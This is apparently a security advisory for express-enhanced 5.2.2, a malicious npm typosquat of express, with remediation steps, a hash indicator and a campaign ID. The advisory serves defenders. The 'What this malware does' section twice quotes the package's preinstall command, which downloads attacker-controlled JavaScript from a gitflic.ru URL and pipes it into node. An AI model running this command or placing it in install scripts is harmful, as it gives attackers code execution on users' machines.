Which versions of express-enhanced are malicious?

The following npm versions of express-enhanced are flagged malicious: 5.2.2. Treat any of these as compromised.

How do I remediate express-enhanced if I installed it?

express-enhanced is a typosquat — you almost certainly intended a legitimately-named package. Remove express-enhanced, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed express-enhanced — how do I know if it already compromised me?

If express-enhanced was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is express-enhanced part of a known attack campaign?

Yes — express-enhanced is associated with the IN-MAL-2026-020872 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find express-enhanced across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for express-enhanced (version 5.2.2).

Malicious package

express-enhancednpm

Advisory published Oct 3, 2026Updated Oct 5, 2026

express-enhanced is a confirmed malicious npm package (MAL-2026-17489) that typosquats a legitimate package to trick installs (malicious version 5.2.2). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in express-enhanced (npm)

MAL-2026-17489

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall express-enhanced

What this malware does

[email protected] impersonates express (it copies express's package metadata, including the description "Fast, unopinionated, minimalist web framework" and author TJ Holowaychuk) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account cleancomforter published express-enhanced and 8 similar packages on 2026-10-03 between 05:05 and 05:25 UTC, all with the same preinstall script.

[email protected] impersonates the express package: it ships the express README verbatim, declares TJ Holowaychuk as author, and points repository at expressjs/express, while publishing under a different name. The package.json preinstall script runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, downloading an unpinned JavaScript payload from a gitflic.ru account unrelated to the express maintainers (wrapped through web.archive.org) and piping it directly to node at npm install time. The fetched content is not integrity-checked, the source is mutable and attacker-controlled, and execution happens automatically on install, giving the publisher arbitrary code execution on any machine that installs the package.

Malicious versions

1 flagged

5.2.2

Indicators of compromise (SHA-256)

15d6ce3e4c988439e6023bb900fde41c1a7eebe0c372eddc3a3c3c9d8206a9d6

Detection & response playbook

Typosquat

Find it
Search your lockfiles and build artifacts for express-enhanced (version 5.2.2).
If you installed it — respond
express-enhanced is a typosquat — you almost certainly intended a legitimately-named package. Remove express-enhanced, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If express-enhanced was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. express-enhanced on npm has been identified as a malicious package (version 5.2.2 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020872

References

Credits

Amazon Inspector · finder
InvisiRisk, Inc. · finder

Detect & block this

O3 blocks express-enhanced-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database